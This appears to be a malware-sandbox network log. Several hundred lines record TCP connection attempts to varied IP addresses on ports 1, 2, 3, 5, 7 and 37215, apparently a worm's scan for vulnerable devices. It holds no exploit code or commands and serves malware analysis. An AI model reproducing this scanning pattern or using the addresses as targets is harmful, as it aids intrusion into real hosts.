Source: global traffic	TCP traffic: 197.233.120.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.35.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.37.142.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.175.142.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.166.161.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.205.74.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.130.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.12.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.34.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.204.192.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.49.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.153.156.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.145.44.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.199.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.91.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.47.159.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.7.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.100.205.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.30.118.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.155.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.228.234.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.200.82.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.250.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.193.4.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.176.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.252.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.176.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.38.145.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.107.16.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.90.71.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.143.116.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.209.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.165.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.251.173.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.117.155.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.4.244.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.180.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.142.221.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.173.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.17.119.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.112.39.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.58.253.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.97.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.100.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.144.221.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.128.187.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.20.24.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.250.235.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.142.192.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.69.195.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.85.222.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.34.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.32.252.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.127.1.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.137.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.246.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.166.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.88.250.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.111.195.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.185.187.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.182.64.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.182.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.50.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.15.255.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.176.3.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.161.155.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.227.245.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.227.235.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.252.139.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.106.239.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.117.14.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.157.238.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.111.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.153.179.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.136.228.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.113.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.61.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.97.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.63.144.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.182.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.242.161.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.139.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.84.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.159.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.199.96.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.198.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.152.197.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.221.227.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.58.118.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.192.248.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.113.16.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.225.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.231.162.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.145.112.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.148.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.201.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.78.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.42.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.23.150.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.64.182.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.105.5.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.68.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.185.143.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.232.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.109.191.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.149.103.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.209.95.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.31.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.247.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.221.45.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.111.155.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.239.214.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.4.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.110.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.191.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.27.102.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.4.117.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.193.228.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.235.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.15.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.225.209.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.96.94.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.198.67.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.8.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.211.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.65.180.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.45.163.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.178.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.68.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.246.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.3.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.131.29.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.27.29.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.29.27.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.212.37.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.245.162.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.135.60.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.202.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.9.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.163.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.213.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.171.60.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.48.139.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.98.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.181.150.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.130.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.126.17.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.37.10.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.206.207.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.244.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.89.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.98.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.157.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.46.197.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.112.26.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.213.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.174.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.174.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.200.9.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.220.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.136.4.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.103.135.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.25.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.36.96.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.82.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.138.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.116.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.138.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.66.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.174.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.183.193.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.239.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.244.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.181.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.13.36.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.148.78.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.31.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.181.101.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.220.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.251.46.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.242.150.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.145.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.206.17.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.149.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.249.192.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.246.192.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.130.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.242.35.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.61.90.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.119.35.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.25.118.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.205.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.17.198.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.49.221.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.219.120.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.84.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.204.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.140.115.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.168.250.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.61.48.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.14.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.193.154.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.150.59.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.28.64.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.72.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.61.167.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.7.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.146.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.13.168.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.229.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.248.71.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.151.213.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.39.47.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.6.130.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.78.133.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.24.78.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.228.100.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.33.3.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.81.243.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.228.235.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.108.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.116.148.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.76.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.43.132.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.86.114.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.38.96.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.78.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.37.27.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.246.241.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.108.159.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.87.240.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.155.72.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.55.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.101.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.182.89.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.8.55.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.55.38.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.170.201.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.250.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.42.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.37.52.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.248.96.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.202.0.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.78.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.152.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.13.102.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.200.79.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.178.157.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.166.112.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.199.75.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.212.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.144.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.170.162.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.20.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.95.26.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.205.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.239.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.214.45.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.160.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.174.186.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.100.254.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.211.117.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.235.88.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.230.239.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.212.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.100.85.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.58.43.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.45.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.151.123.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.2.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.219.199.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.107.142.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.65.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.45.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.55.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.238.212.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.71.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.89.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.240.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.7.134.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.73.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.254.238.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.182.5.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.4.208.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.52.251.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.78.104.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.142.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.159.160.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.23.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.251.188.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.172.170.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.241.192.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.232.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.102.30.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.15.115.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.99.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.140.46.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.120.159.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.141.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.252.11.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.114.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.7.60.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.106.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.56.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.7.7.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.211.177.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.176.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.148.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.236.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.126.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.170.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.236.37.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.179.221.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.210.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.192.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.109.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.191.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.252.148.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.206.105.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.167.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.227.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.230.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.24.45.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.241.14.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.8.244.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.114.75.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.132.195.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.143.75.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.58.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.189.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.26.40.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.241.176.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.135.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.3.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.81.192.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.167.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.177.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.221.85.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.237.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.24.184.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.93.90.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.137.103.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.39.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.245.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.120.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.241.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.28.180.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.182.33.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.168.236.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.41.106.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.232.59.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.44.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.38.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.207.241.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.8.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.70.178.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.5.34.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.169.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.254.205.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.170.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.200.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.213.78.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.218.24.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.76.230.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.114.9.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.226.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.48.3.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.227.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.104.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.7.31.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.249.195.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.60.137.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.16.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.23.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.56.40 ports 1,2,3,5,7,37215
